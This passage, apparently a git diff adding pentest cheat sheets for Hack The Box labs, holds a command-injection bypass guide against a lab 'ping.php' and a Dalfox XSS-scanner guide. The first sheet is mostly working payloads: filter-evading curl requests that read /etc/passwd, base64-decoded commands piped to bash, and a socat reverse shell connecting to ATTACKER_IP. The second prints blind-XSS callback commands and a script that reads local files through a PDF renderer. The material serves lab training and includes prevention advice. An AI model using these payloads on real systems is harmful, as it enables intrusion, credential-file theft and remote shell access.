+# IFS with positional-arg terminator
+curl "http://target/ping.php?ip=127.0.0.1%0acat$IFS$9/etc/passwd"
+
+# Brace expansion (no spaces inside braces)
+curl "http://target/ping.php?ip=127.0.0.1%0a{cat,/etc/passwd}"
+```
+
+> [!info]+ How `${IFS}` bypasses the space
+>
+> 1. `IFS` is the Internal Field Separator, and its default value contains a space and a tab.
+> 2. When bash expands `cat${IFS}/etc/passwd`, the variable resolves to a space, so the executed command is `cat /etc/passwd` with no literal space ever in the request.
+> 3. `${IFS}` renders in the source string as no space, so a `' '` blacklist never triggers.
+
+> [!tip]+ Brace expansion in one line
+>
+> 1. `{ls,-la}` expands to `ls -la`, `{cat,file}` expands to `cat file`.
+> 2. Great when both spaces and specific commands are filtered, because you can also split names, e.g. `{c'a't,file}`.
+> 3. See [PayloadsAllTheThings — Bypass without space](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#bypass-without-space).
+
+---
+
+## Bypassing Other Blacklisted Characters
+
+When slashes, semicolons, or other characters are filtered, pull them out of shell environment variables using substring expansion, so the literal character never appears in your input.
+
+| Character needed | Extraction trick | Expands to |
+|---|---|---|
+| `/` (slash) | `${PATH:0:1}` | First char of `PATH`, which is `/` |
+| `;` (semicolon) | `${LS_COLORS:10:1}` | A `;` from the colours string |
+| `\` (backslash) | `${HOME:0:1}` on some hosts | Depends on the variable |
+| Any literal | `$(printf '\<octal>')` | Printf-decoded byte |
+
+```bash
+# Read /etc/passwd without ever typing a slash
+curl "http://target/ping.php?ip=127.0.0.1%0acat${IFS}${PATH:0:1}etc${PATH:0:1}passwd"
+
+# Semicolon pulled from LS_COLORS (index varies per host, enumerate it)
+curl "http://target/ping.php?ip=127.0.0.1%0a\$(echo${IFS}\${LS_COLORS:10:1})"
+```
+
+> [!info]+ Substring expansion syntax
+>
+> 1. `${VARIABLE:offset:length}` returns a slice of the variable's value.
+> 2. `${PATH:0:1}` is the classic slash generator, because `PATH` almost always begins with `/usr/...`.
+> 3. Enumerate a host's variables first (`printenv` if available, or `${VAR}` echoes) so you know which indices give which characters.
+
+> [!tip]+ Character shifting with tr and printf
+>
+> 1. `$(tr '!-}' '"-~'<<<'gvzk')` shifts each character up by one ASCII value, decoding an obfuscated word at runtime.
+> 2. `printf` with octal escapes reconstructs any byte, e.g. `$(printf '\57')` yields `/`.
+
+---
+
+## Bypassing Blacklisted Commands
+
+Word blacklists match the exact string, so break the command name apart with characters the shell ignores at execution time. The key insight against `ping.php`: the command runs inside `bash -c '...'`, so single quotes inside the argument are removed by bash before execution.
+
+| Technique | Example | Runs as | Why it works |
+|---|---|---|---|
+| **Single-quote split** | `'w'h'o'am'i'` | `whoami` | Bash strips the empty quote pairs |
+| **Double-quote split** | `w"h"o"a"m"i"` | `whoami` | Same, quotes are removed at parse time |
+| **Backslash split** | `w\ho\am\i` | `whoami` | Backslash before a normal char is dropped |
+| **`$@` insertion** | `who$@ami` | `whoami` | `$@` expands to nothing |
+| **Positional `${x}`** | `who${x}ami` | `whoami` | Unset var expands to empty |
+| **Case + tr** | `$(tr A-Z a-z<<<WhOaMi)` | `whoami` | Lowercase at runtime |
+
+```bash
+# The canonical INLANEFREIGHT bypass: 'i'd defeats the "id" word filter
+curl "http://target/ping.php?ip=127.0.0.1%0a'i'd"
+
+# ifconfig, split so the blacklisted "if"/"ip" fragments never appear whole
+curl "http://target/ping.php?ip=127.0.0.1%0a'i'fconfig"
+
+# which socat, combining char-split + IFS for the space
+curl "http://target/ping.php?ip=127.0.0.1%0a'w'h'i'ch${IFS}socat"
+
+# cat the source with char-split + IFS
+curl "http://target/ping.php?ip=127.0.0.1%0a'c'at${IFS}ping.php"
+```
+
+> [!success]+ Confirmed execution on the lab
+>
+> ```
+> uid=1004(webdev) gid=1004(webdev) groups=1004(webdev),4(adm)
+> ```
+> 1. The `id` output proves code execution as the **webdev** user.
+> 2. `ifconfig` reveals a second interface `ens192: 172.16.8.120/23`, placing the host inside the `172.16.8.0/23` internal scope, a pivot opportunity into the Active Directory domain.
+
+> [!info]+ Why quote-splitting beats the word filter
+>
+> 1. `strpos($str, 'id')` looks for the literal two-byte string `id`. `'i'd` contains `i`, `'`, `'`, `d`, never the contiguous `id`, so the check returns false.
+> 2. Bash, executing `bash -c 'ping -c 1 127.0.0.1\n'i'd'`, removes the quote pairs and runs `id`.
+> 3. The same logic defeats every entry in the word list, split any two adjacent characters and the substring match fails.
+
+---
+
+## Advanced Command Obfuscation
+
+For heavier WAFs or case-insensitive filters, obfuscate so the payload does not resemble any known command even after simple normalisation.
+
+| Method | Payload | Decodes to |
+|---|---|---|
+| **Case toggling** (Windows/PS) | `WhOaMi` | `whoami` (case-insensitive on Win) |
+| **Case fix via tr** | `$(a="WHOAMI";tr${IFS}'A-Z'${IFS}'a-z'<<<"$a")` | `whoami` |
+| **Reversed command** | `$(rev<<<'imaohw')` | `whoami` |
+| **Base64 decode + exec** | `bash<<<$(base64${IFS}-d<<<'d2hvYW1p')` | `whoami` |
+| **Wildcards** | `/???/??t /???/p??s??` | `/bin/cat /etc/passwd` (glob match) |
+
+```bash
+# Reverse the string at runtime
+curl "http://target/ping.php?ip=127.0.0.1%0a$(rev<<<'imaohw')"
+
+# Base64-encode the whole command, decode and pipe to bash
+echo -n 'id' | base64 # -> aWQ=
+curl "http://target/ping.php?ip=127.0.0.1%0abash<<<$(base64${IFS}-d<<<aWQ=)"
+
+# Wildcard path so no full binary name is written
+curl "http://target/ping.php?ip=127.0.0.1%0a/???/c?t${IFS}/etc/passwd"
+```
+
+> [!tip]+ Layer the techniques
+>
+> 1. Combine operator + space bypass + name split + encoding when a filter chains several checks, e.g. `%0abash<<<$(base64${IFS}-d<<<...)`.
+> 2. Wildcards (`?` single char, `*` any run) let you invoke binaries whose names are blacklisted, since the shell resolves the glob after the filter has already passed the request.
+
+---
+
+## Evasion Tools
+
+Hand-crafting obfuscation is slow. These generators produce filter-evading payloads automatically.
+
+> [!info]+ [Bashfuscator](https://github.com/Bashfuscator/Bashfuscator) Overview
+>
+> Configurable Bash command obfuscation framework for Linux targets.
+> 1. `./bashfuscator -c 'cat /etc/passwd'` emits an obfuscated one-liner.
+> 2. `-s 1 -t 1 --no-mangling` tunes obfuscation layers and size for readability or evasion.
+> 3. Output can be very long, so test it fits the parameter length the endpoint accepts.
+
+> [!info]+ [DOSfuscation](https://github.com/danielbohannon/Invoke-DOSfuscation) Overview
+>
+> Invoke-DOSfuscation obfuscates Windows CMD and PowerShell payloads.
+> 1. Handles case toggling, char insertion, and environment-variable substring tricks for Windows.
+> 2. Use `Invoke-DOSfuscation` then `SET COMMAND`/`ENCODING` inside its interactive menu.
+
+> [!tip]+ Manual toolkit to keep handy
+>
+> 1. [PayloadsAllTheThings — Command Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) is the reference payload library.
+> 2. Burp Suite Intruder loaded with a variation wordlist (see the companion Python generator) sprays candidates and highlights which return a non-`Invalid input` response.
+
+---
+
+## From RCE to Reverse Shell — the socat escape
+
+Single commands run, but anything with a space breaks unless bypassed, and most shell binaries (`nc`, `bash`, `ssh`) are blacklisted. On the INLANEFREIGHT host `socat` survives the filter and is present at `/usr/bin/socat`.
+
+```bash
+# Confirm socat exists (which is blacklisted as a word, so split it)
+curl "http://target/ping.php?ip=127.0.0.1%0a'w'h'i'ch${IFS}socat"
+# -> /usr/bin/socat
+```
+
+```bash
+# Attacker: start the socat listener with a full TTY handler
+socat -d -d TCP4-LISTEN:4444,fork,reuseaddr FILE:`tty`,raw,echo=0
+```
+
+```bash
+# Target (via injection): connect back with an interactive bash
+# Spaces replaced by ${IFS}, socat name intact (not word-filtered whole)
+curl "http://target/ping.php?ip=127.0.0.1%0asocat${IFS}TCP4:ATTACKER_IP:4444${IFS}EXEC:bash,pty,stderr,setsid,sigint,sane"
+```
+
+> [!warning]+ Filter-safe reverse shell notes
+>
+> 1. Every space in the socat command must be `${IFS}` or `%09`, or the space blacklist rejects the request.
+> 2. If `socat` is caught by a later word filter, split it: `so'c'at` or `s${x}ocat`.
+> 3. `EXEC:bash,pty,stderr,setsid,sigint,sane` gives a fully interactive PTY, far better than a dumb `nc` shell for pivoting into the `172.16.8.0/23` network.
+
+> [!tip]+ Grab the source first
+>
+> 1. Before brute-forcing a shell, `cat` the vulnerable script (`'c'at${IFS}ping.php`) so you know the exact blacklist and can craft a one-shot payload instead of dozens of failed guesses.
+
+---
+
+## Prevention
+
+> [!important]+ How to actually fix this
+>
+> 1. **Never pass user input to a shell.** Use language-native APIs, e.g. a raw socket ping or a library, instead of `shell_exec("ping ...")`.
+> 2. If a shell call is unavoidable, use parameterised execution that separates the command from its arguments (`execve`-style, no `bash -c`), so input can never become a new command.
+> 3. **Allowlist, do not blacklist.** Validate against a strict pattern, e.g. an IP regex `^\d{1,3}(\.\d{1,3}){3}$`, and reject everything else. Blacklists always lose to obfuscation.
+> 4. Run the web service as a low-privilege user in a locked-down container, and drop outbound network egress so a reverse shell cannot phone home.
+
+---
+
+## Quick Reference — Bypass Chains
+
+| Filter hit | Fastest bypass | Example |
+|---|---|---|
+| Operator (`;` `\|` `&`) blocked | new-line | `127.0.0.1%0aid` |
+| Space blocked | `${IFS}` / tab / `{a,b}` | `cat${IFS}/etc/passwd` |
+| Slash blocked | `${PATH:0:1}` | `cat${IFS}${PATH:0:1}etc${PATH:0:1}passwd` |
+| Command name blocked | quote/char split | `'w'h'o'am'i'` |
+| Case-insensitive WAF | reverse / base64 | `bash<<<$(base64${IFS}-d<<<aWQ=)` |
+| Binary name blocked | wildcards | `/???/c?t${IFS}/etc/passwd` |
+| Need a shell | socat + `${IFS}` | `socat${IFS}TCP4:IP:4444${IFS}EXEC:bash,pty,...` |
+
+---
+
+## Lessons Learned
+
+1. The new-line operator `%0a` beats operator blacklists almost every time, because developers cannot fully ban it. Always try it first.
+2. Reading the filter source turns a guessing game into an engineering task. Any early RCE should be spent `cat`-ing the vulnerable script before anything else.
+3. Filters compose, so bypasses compose. A single request often needs an operator bypass, a space bypass, and a command-name bypass stacked together.
+4. `${IFS}` for spaces and single-quote splitting for names are the two highest-value tricks for the CPTS-style labs, learn them cold.
+5. Blacklists are structurally doomed. When you write the fix, allowlist a strict input pattern and avoid the shell entirely.
+
+---
+
+## References
+
+1. [HTB Academy — Command Injections module](https://academy.hackthebox.com/module/details/109)
+2. [PayloadsAllTheThings — Command Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
+3. [OWASP — Command Injection](https://owasp.org/www-community/attacks/Command_Injection)
+4. [MITRE ATT&CK — Command and Scripting Interpreter (T1059)](https://attack.mitre.org/techniques/T1059/)
+5. [Bashfuscator](https://github.com/Bashfuscator/Bashfuscator)
+6. [Invoke-DOSfuscation](https://github.com/danielbohannon/Invoke-DOSfuscation)
+7. [socat man page](http://www.dest-unreach.org/socat/doc/socat.html)
diff --git a/src/content/sheets/web/dalfox.md b/src/content/sheets/web/dalfox.md
@@ -0,0 +1,628 @@
+---
+title: "Dalfox"
+description: "Dalfox XSS scanner usage for HTB and AEN: scan modes, pipelines, custom payloads, blind XSS and output handling."
+category: web
+tags: ["web", "xss"]
+tools: []
+difficulty: intermediate
+updated: "2026-08-28"
+source: "vault:Web/Dalfox - HTB and AEN Cheat Sheet.md"
+---
+# Dalfox — HTB and AEN Cheat Sheet
+
+## Summary
+
+[Dalfox](https://github.com/hahwul/dalfox) automates XSS parameter discovery, reflection analysis, context-aware payload selection, DOM/AST analysis, and proof-of-concept generation. In AEN Note 5 its strongest fit is **Step 7**, where an authenticated support-ticket submission stores input that an administrator later renders. Capture the real ticket request in Burp, give Dalfox that raw request, restrict the scan, and use an out-of-band callback to detect the delayed execution. Dalfox is **not** the validator for Step 8's server-side PDF local-file-read chain; that requires the staged manual renderer tests in the dedicated Step 8 sheet.
+
+> [!danger]+ Authorisation and Impact Boundary
+>
+> 1. Use these commands only in HTB, an intentionally vulnerable lab, or an explicitly authorised engagement.
+> 2. XSS scanning sends executable markup and can create persistent records. Start with one target, low concurrency, and a harmless proof.
+> 3. A blind callback proves code execution and outbound reachability. It does not require collecting cookies, page contents, credentials, or other victim data.
+> 4. Do not scan logout, delete, purchase, administration, or other state-changing endpoints unless the test plan specifically permits them.
+> 5. Remove stored test records and callback data when the exercise ends.
+
+> [!tip]+ Related Notes
+>
+> 1. AEN source: 5 - Web Application Enumeration#Step 7 — support.inlanefreight.local (Blind XSS → Session Hijack)
+> 2. AEN Step 7 explanation: Step 7 - Blind XSS Session Hijack Cheat Sheet
+> 3. General XSS workflow: Cross-Site Scripting (XSS) - HTB Cheat Sheet
+> 4. Blind-XSS operations: Blind XSS to Session Hijacking - HTB Cheat Sheet
+> 5. Step 8 renderer chain: Step 8 - Tracking HTML Injection to Local File Read Cheat Sheet
+
+---
+
+## 1. What Dalfox Does
+
+### Pipeline in Plain Language
+
+| Stage | Dalfox action | What the operator learns |
+|---|---|---|
+| Input parsing | Reads a URL, URL list, pipe, raw HTTP request, or HAR | Exactly which requests will be tested |
+| Discovery | Extracts query/body/header/cookie inputs | Where controlled data can enter |
+| Parameter mining | Looks for additional likely parameters | Inputs not obvious in the visible form |
+| Probe | Inserts markers and special characters | Which values reflect and what survives |
+| Context analysis | Identifies HTML, attribute, script, or DOM context | Which payload family fits the parser |
+| Verification | Tests execution signals and analyses JavaScript/DOM | Whether the result is more than inert reflection |
+| Reporting | Produces PoCs and structured output | Reproducible evidence for manual confirmation |
+
+> [!important]+ Scanner Result Is the Start of Verification
+>
+> A reflected marker is not automatically XSS. Reproduce the smallest reported case in Burp or a browser, confirm where the value lands, and distinguish HTML injection, JavaScript execution, and actual impact.
+
+### Finding Labels
+
+| Label | Meaning | Operator response |
+|---|---|---|
+| `V` | Vulnerable: the returned DOM parses with the payload in an executable position | Reproduce in a real browser and record the exact context |
+| `A` | AST analysis found a JavaScript source-to-sink path | Inspect and exercise the client-side data flow manually |
+| `R` | Reflected value | Determine whether encoding/context prevents execution |
+| `I` | Informational observation | Use it to guide testing; do not report it as XSS alone |
+
+---
+
+## 2. Install and Confirm the CLI
+
+This sheet targets the **Dalfox v3** command layout. Older v2 tutorials use commands such as `dalfox url`, `dalfox file`, and `dalfox pipe`; v3 puts these inputs under `dalfox scan`.
+
+### macOS
+
+```bash
+brew install dalfox
+dalfox --version
+dalfox scan --help
+```
+
+Expected result: the version command prints the installed build, and the scan help lists URL/file/pipe/raw-HTTP/HAR inputs. Version text varies by release.
+
+### Cargo Alternative
+
+```bash
+cargo install dalfox
+dalfox --version
+```
+
+### Quick Command Map
+
+```bash
+dalfox --help
+dalfox scan --help
+dalfox payload --help
+dalfox payload blind
+```
+
+| Command | Purpose |
+|---|---|
+| `dalfox scan ...` | Scan one or more HTTP requests for XSS |
+| `dalfox payload ...` | Print payload families without scanning a target |
+| `dalfox payload blind` | Show blind-XSS payload skeletons; `{}` represents the callback location |
+| `dalfox server ...` | Run Dalfox as a service for integrations |
+| `dalfox mcp ...` | Expose supported functionality through MCP |
+
+---
+
+## 3. Choose the Right Input Shape
+
+### Decision Table
+
+| Starting material | Use | Why |
+|---|---|---|
+| One public GET URL | `--input-type url` | Fastest path for a simple query parameter |
+| List of URLs | `dalfox scan urls.txt` | Batch mode with automatic file detection |
+| Pipeline output | `... \| dalfox scan` | Consumes URLs generated by another tool |
+| Authenticated POST from Burp | `--input-type raw-http` | Preserves cookies, CSRF token, method, body, and headers |
+| Browser session/export | HAR input | Retains multiple captured browser requests |
+| Blind stored form | Raw HTTP plus `--blind-oob` or `-b` | Injection and observation happen at different times |
+
+### Simple GET Discovery
+
+First inspect how Dalfox interprets the target without running the full payload scan:
+
+```bash
+dalfox scan --input-type url 'http://lab.local/search?q=aen-marker' --dry-run
+```
+
+Then scan the known query parameter conservatively:
+
+```bash
+dalfox scan --input-type url 'http://lab.local/search?q=aen-marker' \
+ -p q:query \
+ --workers 2 \
+ -r 2 \
+ --only-poc v \
+ --poc-type http-request
+```
+
+Expected result: Dalfox tests `q`, reports reflection/context information, and prints a proof only if it reaches the selected verified class. No finding is also a valid result; inspect whether authentication, context, or client-side rendering was missed.
+
+### Direct Form POST
+
+```bash
+dalfox scan --input-type url 'http://lab.local/comment' \
+ -X POST \
+ -H 'Content-Type: application/x-www-form-urlencoded' \
+ -d 'message=aen-marker' \
+ -p message:body \
+ --workers 1 \
+ -r 1
+```
+
+| Fragment | Meaning |
+|---|---|
+| `-X POST` | Uses the same HTTP method as the form |
+| `-d ...` | Supplies the form-encoded body |
+| `message:body` | Restricts injection to the body field named `message` |
+| `--workers 1` | Sends one worker's requests at a time |
+| `-r 1` | Caps the request rate at one per second |
+
+> [!warning]+ Do Not Guess Form Field Names
+>
+> The AEN page label is **Message**, but the underlying POST name is not shown in Note 5. Inspect the captured request. If it is `content=...`, use `content:body`; if it is `msg=...`, use `msg:body`. The visible label and HTTP name do not have to match.
+
+---
+
+## 4. Raw HTTP from Burp
+
+Raw HTTP is the most reliable option for authenticated HTB forms.
+
+### Capture Procedure
+
+1. Submit one normal, harmless ticket in the browser while Burp Proxy is recording.
+2. Find the corresponding POST request in **HTTP history**.
+3. Confirm it contains the expected host, path, cookie, content type, CSRF value, and form body.
+4. Save the **request message only** as `support-ticket.txt` in a clean lab directory.
+5. Replace real secrets in study notes, but keep the live lab file complete while testing.
+6. Run the dry check below before active scanning.
+
+Illustrative structure—the real request is authoritative:
+
+```http
+POST /ticket.php HTTP/1.1
+Host: support.inlanefreight.local
+Cookie: session=REDACTED_LAB_SESSION
+Content-Type: application/x-www-form-urlencoded
+Connection: close
+
+subject=aen-dalfox&ACTUAL_MESSAGE_PARAMETER=normal-test-message
+```
+
+```bash
+dalfox scan --input-type raw-http support-ticket.txt --dry-run
+```
+
+Expected result: Dalfox recognises one POST request and its body parameters. `--dry-run` validates the planned input; it does not prove XSS.
+
+### Restrict to One Known Parameter
+
+After reading the raw body, optionally narrow the scan:
+
+```bash
+dalfox scan --input-type raw-http support-ticket.txt \
+ -p ACTUAL_MESSAGE_PARAMETER:body \
+ --workers 1 \
+ -r 1
+```
+
+If the name is still uncertain, omit `-p` and allow discovery, then use the output to choose the real parameter for the next run.
+
+### Through Burp for Visibility
+
+```bash
+dalfox scan --input-type raw-http support-ticket.txt \
+ --proxy http://127.0.0.1:8080 \
+ --workers 1 \
+ -r 1
+```
+
+This routes Dalfox traffic through Burp so each generated request can be inspected. Ensure Burp's listener is on `127.0.0.1:8080` and avoid intercepting every request unless you intend to step through them manually.
+
+> [!failure]+ Raw Request Fails but Browser Works
+>
+> 1. Refresh expired cookies and CSRF tokens.
+> 2. Verify the `Host` header resolves to the HTB target.
+> 3. Preserve the original body encoding: form, JSON, or multipart.
+> 4. Check whether the application requires a preceding request or one-time token.
+> 5. Compare Dalfox traffic with a working browser request in Burp before changing payload flags.
+
+---
+
+## 5. AEN Step 7 — Blind Stored XSS
+
+### Why Normal Scanning Is Not Enough
+
+The vulnerable support ticket is rendered later by an administrator or automated agent. The submission response cannot show the privileged DOM, so immediate reflection analysis may report little or nothing. The useful signal is a unique outbound callback created when the stored record is viewed.
+
+```mermaid
+flowchart LR
+ A["Burp captures normal ticket POST"] --> B["Dalfox injects blind canary"]
+ B --> C["Support app stores ticket"]
+ C --> D["Admin agent opens ticket later"]
+ D --> E["Payload requests unique OOB address"]
+ E --> F["Callback proves execution and reachability"]
+```
+
+### Option A — Dalfox-Managed OOB Check
+
+```bash
+dalfox scan --input-type raw-http support-ticket.txt \
+ --blind-oob \
+ --blind-oob-wait 120 \
+ --workers 1 \
+ -r 1 \
+ -f json \
+ -o support-dalfox.json \
+ --include-request
+```
+
+Line-by-line:
+
+1. `--input-type raw-http` replays the authenticated form shape captured in Burp.
+2. `--blind-oob` creates out-of-band payloads and monitors the default OOB service.
+3. `--blind-oob-wait 120` keeps polling for two minutes after injection.
+4. One worker and one request per second limit duplicate stored tickets and load.
+5. JSON output preserves machine-readable evidence; `--include-request` records the triggering request.
+
+Expected result after the support agent views the ticket: an OOB interaction correlated to a Dalfox payload. If the agent does not view the record within 120 seconds, the scan may end without a reported interaction even though the ticket remains stored.
+
+> [!warning]+ Delayed Review Can Outlive the Scan
+>
+> The `--blind-oob-wait` value is only the post-scan polling window. A ticket opened ten minutes later needs a persistent collector whose logs remain available; increasing the wait indefinitely is not a substitute for planning the asynchronous workflow.
+
+### Option B — Persistent Callback You Control
+
+```bash
+dalfox scan --input-type raw-http support-ticket.txt \
+ -b 'https://UNIQUE-ID.YOUR-AUTHORISED-CALLBACK.example' \
+ --workers 1 \
+ -r 1 \
+ -f json \
+ -o support-blind.json \
+ --include-request
+```
+
+Use an Interactsh, Burp Collaborator, or self-hosted lab endpoint that remains observable after Dalfox exits. Give every run a unique subdomain/path so a late callback can be tied to one field and timestamp.
+
+### Why `--sxss` Is Not the First AEN Choice
+
+Dalfox's stored-XSS mode can submit to one endpoint and revisit a retrieval page:
+
+```bash
+dalfox scan --input-type url 'https://lab.local/post-comment' \
+ --sxss \
+ --sxss-url 'https://lab.local/comments'
+```
+
+This works only when Dalfox can access the page that renders the stored value. In AEN Step 7 the important renderer is the admin ticket view, which is unavailable before session compromise. Therefore:
+
+1. Use blind OOB detection first.
+2. Treat the callback as the XSS proof.
+3. Keep AEN's later session-impact demonstration manual and separate.
+4. Do not call a missing `--sxss` result evidence that the ticket is safe.
+
+### AEN Evidence Ladder
+
+| Observation | What it proves | What it does not prove |
+|---|---|---|
+| Ticket submission succeeds | Input reached storage workflow | The admin page rendered it |
+| Dalfox reports reflection only | Value appeared in an immediate response | JavaScript execution in admin context |
+| Unique HTTP/DNS callback | Stored payload was processed and could reach OOB service | Cookie access or admin identity by itself |
+| Callback user agent/source matches support agent | Stronger execution-context correlation | Session theft or account takeover |
+| Manual minimal admin action after authorised replay | Session impact | Password compromise or persistence |
+
+### Safe First Proof Versus AEN Escalation
+
+Dalfox should first produce only an OOB execution canary. AEN's later `document.cookie` collection is a separate impact step documented in Step 7 - Blind XSS Session Hijack Cheat Sheet. Do not make sensitive collection the scanner's default: `HttpOnly` may correctly prevent reading the cookie, and XSS is still real even when no cookie is exposed.
+
+---
+
+## 6. AEN Step 8 — Dalfox Boundary
+
+Step 8 injects HTML/JavaScript into a **server-side PDF renderer** and uses that renderer's local privileges to request `file:///etc/passwd`. This differs from ordinary reflected or stored browser XSS.
+
+| Question | Step 7 support ticket | Step 8 tracking PDF |
+|---|---|---|
+| Who parses the input? | Admin/support browser | Server-side HTML-to-PDF worker |
+| Where is output observed? | OOB callback and admin page | Generated PDF |
+| Useful Dalfox mode | Raw HTTP plus blind OOB | At most input/reflection discovery |
+| Reliable proof | Unique callback | Visible staged renderer output |
+| Can Dalfox prove local file read? | Not applicable | No; inspect the generated PDF manually |
+
+> [!important]+ Correct Tool Choice
+>
+> Dalfox may help locate a reflected tracking parameter, but it does not model the PDF generation/retrieval workflow or validate `file://` content inside the generated artifact. Follow Step 8 - Tracking HTML Injection to Local File Read Cheat Sheet: visible text/HTML first, harmless JavaScript second, then the authorised local-file request. Do not interpret “Dalfox found no XSS” as evidence that the renderer chain is safe.
+
+The AEN payload:
+
+```html
+<script>
+x = new XMLHttpRequest;
+x.onload = function () {
+ document.write(this.responseText)
+};
+x.open("GET", "file:///etc/passwd");
+x.send();
+</script>
+```
+
+belongs in the tracking form field, not in Dalfox or a terminal. It creates a request **inside the PDF worker**, waits for the response, and writes that response into the rendered document. The important security assumption is the renderer's ability to access the `file://` scheme; a normal browser commonly blocks this cross-origin access.
+
+---
+
+## 7. AEN Note 5 Applicability Matrix
+
+| AEN section | Main vulnerability class | Dalfox fit | Correct use or handoff |
+|---|---|---|---|
+| Initial vhost/screenshot triage | Asset discovery | Low | Use EyeWitness/gowitness; give Dalfox selected HTTP inputs later |
+| Shop object access | IDOR | None | Compare object IDs and authorisation responses manually |
+| Development upload | Verb tampering/file upload | None | Test methods, content controls, storage, and execution separately |
+| Helpdesk | LFI | None | Use controlled path traversal/file-read tests |
+| Status application | SQL injection | None | Use Burp/manual SQLi and sqlmap when justified |
+| **Support Step 7** | **Blind stored XSS** | **High** | Raw authenticated POST plus OOB callback |
+| **Tracking Step 8** | **PDF HTML injection → SSRF/file read** | **Limited** | Discovery only; validate generated PDF manually |
+| VPN portal | Product/version/dead end | None | Fingerprint and move on when no supported path exists |
+| External application | XXE | None | Use XML parser/entity testing |
+| GitLab | Misconfiguration | None | Enumerate application configuration and access controls |
+| Monitoring | Command injection | None | Use one-change shell-metacharacter probes and manual verification |
+
+This matrix prevents a common mistake: choosing a scanner first and forcing every application into its vulnerability model. In Note 5, Dalfox is a specialist for the support XSS, not the general web-enumeration engine.
+
+---
+
+## 8. Parameters and Scope Controls
+
+### Parameter Locations
+
+```bash
+-p q:query
+-p message:body
+-p profile:json
+-p session:cookie
+-p X-Forwarded-For:header
+```
+
+Supported locations include query strings, bodies, JSON, multipart fields, cookies, and headers. Use the location suffix when the same name could appear in more than one place.
+
+### Restrict Noise
+
+```bash
+dalfox scan urls.txt \
+ --include-url 'support\.inlanefreight\.local' \
+ --exclude-url '/logout|/delete|/admin/action' \
+ --ignore-param 'csrf,submit' \
+ --workers 2 \
+ --max-concurrent-targets 1 \
+ -r 2 \
+ --delay 500
+```
+
+| Flag | Effect |
+|---|---|
+| `--include-url` | Keeps only matching target URLs |
+| `--exclude-url` | Removes dangerous or irrelevant paths |
+| `--ignore-param` | Does not inject into listed parameters |
+| `--workers` | Limits concurrent workers within a target |
+| `--max-concurrent-targets` | Limits simultaneous targets |
+| `-r` | Requests per second ceiling |
+| `--delay` | Adds time between requests |
+
+### Discovery Controls
+
+| Flag | Use when |
+|---|---|
+| `--dry-run` | Confirm input interpretation before scanning |
+| `--only-discovery` | Map parameters/reflections without the normal exploitation phase |
+| `--skip-discovery` | Parameters are already known and you want direct testing |
+| `--skip-mining` | Avoid additional parameter guessing |
+| `--deep-scan` | A normal authorised scan missed a complex context; expect more requests |
+| `--hpp` | Testing HTTP parameter pollution is explicitly in scope |
+
+---
+
+## 9. Payload Strategy and PayloadsAllTheThings
+
+### Let Context Drive Payload Choice
+
+Dalfox's generated payloads account for the observed parsing context and encodings. Useful controls include:
+
+```bash
+dalfox scan 'http://lab.local/search?q=aen-marker' \
+ -p q:query \
+ -e url,html
+```
+
+Available encoders include `none`, `url`, repeated URL encoding, `html`, `htmlpad`, `base64`, `unicode`, and zero-width-space variants. More encoders create more traffic; use only those justified by the observed transform.
+
+### Local PATT Quick List
+
+The local repository contains:
+
+```text
+/Users/daemon1/git/PayloadsAllTheThings/XSS Injection/Intruders/xss_payloads_quick.txt
+```
+
+It currently contains 38 quick payload lines and is largely designed around visible `alert()`/`prompt()` proofs. Review it before use:
+
+```bash
+sed -n '1,80p' '/Users/daemon1/git/PayloadsAllTheThings/XSS Injection/Intruders/xss_payloads_quick.txt'
+```
+
+Use it only on an interactive lab page where pop-ups and event-triggered payloads are acceptable:
+
+```bash
+dalfox scan 'http://lab.local/search?q=aen-marker' \
+ -p q:query \
+ --custom-payload '/Users/daemon1/git/PayloadsAllTheThings/XSS Injection/Intruders/xss_payloads_quick.txt' \
+ --workers 1 \
+ -r 1
+```
+
+> [!warning]+ Why This Is Wrong for the AEN Ticket by Default
+>
+> A pop-up list creates many stored tickets, may interrupt the support agent, and does not provide reliable delayed correlation. For Step 7 use Dalfox's blind callback mode with one unique OOB identifier. Use PATT to understand candidate primitives, not as an unreviewed firehose.
+
+### Built-In Remote Collections
+
+```bash
+dalfox scan 'http://lab.local/search?q=aen-marker' \
+ --remote-payloads portswigger,payloadbox
+```
+
+This fetches supported remote sets; it is not a PATT integration. Record the source/version used so the test is reproducible, and apply the same scope/rate controls.
+
+### Replace Rather Than Supplement
+
+```bash
+dalfox scan 'http://lab.local/search?q=aen-marker' \
+ --custom-payload reviewed-lab-payloads.txt \
+ --only-custom-payload
+```
+
+Without `--only-custom-payload`, custom lines supplement Dalfox's generated payloads. With it, only the reviewed file is used. This is useful when an engagement permits a narrowly approved payload set.
+
+---
+
+## 10. Output, Evidence, and Exit Codes
+
+### Human-Readable Markdown
+
+```bash
+dalfox scan --input-type raw-http request.txt \
+ -f markdown \
+ -o dalfox-findings.md \
+ --include-request \
+ --include-response \
+ --poc-type http-request
+```
+
+### JSON for Later Review
+
+```bash
+dalfox scan --input-type raw-http request.txt \
+ -f json \
+ -o dalfox-findings.json \
+ --include-request
+```
+
+Supported formats include plain text, JSON, JSONL, Markdown, SARIF, and TOML. Include response bodies only when needed because they may contain sessions, personal data, or large amounts of content.
+
+### Exit-Code Meaning
+
+| Exit code | Meaning |
+|---|---|
+| `0` | Scan completed with no findings |
+| `1` | Findings were produced |
+| `2` | Dalfox encountered an error |
+
+An exit code of `1` is not a shell failure in the ordinary sense; it lets CI distinguish “finding present” from “no finding.” Always inspect the report before deciding severity.
+
+### Evidence Checklist
+
+1. Dalfox version and exact command.
+2. Sanitised raw request shape and parameter location.
+3. Scope/rate settings.
+4. Finding label and generated proof.
+5. Manual reproduction in the correct browser/rendering context.
+6. For blind XSS: unique callback ID, protocol, timestamp, source, and user agent.
+7. A clear boundary between execution proof and impact proof.
+8. Cleanup of stored records, reports, sessions, and callback data.
+
+---
+
+## 11. Troubleshooting
+
+| Symptom | Likely cause | Next check |
+|---|---|---|
+| `dalfox: command not found` | Tool not installed or not on `PATH` | Install, then run `dalfox --version` |
+| Old tutorial command fails | v2 `url/file/pipe` syntax copied into v3 | Use `dalfox scan` and select/auto-detect input type |
+| Browser works, raw request gets `401/403` | Expired session/CSRF or missing header | Recapture a fresh working request in Burp |
+| Many parameters/noise | Discovery too broad | Add `-p`, `--ignore-param`, `--skip-mining`, and URL scope |
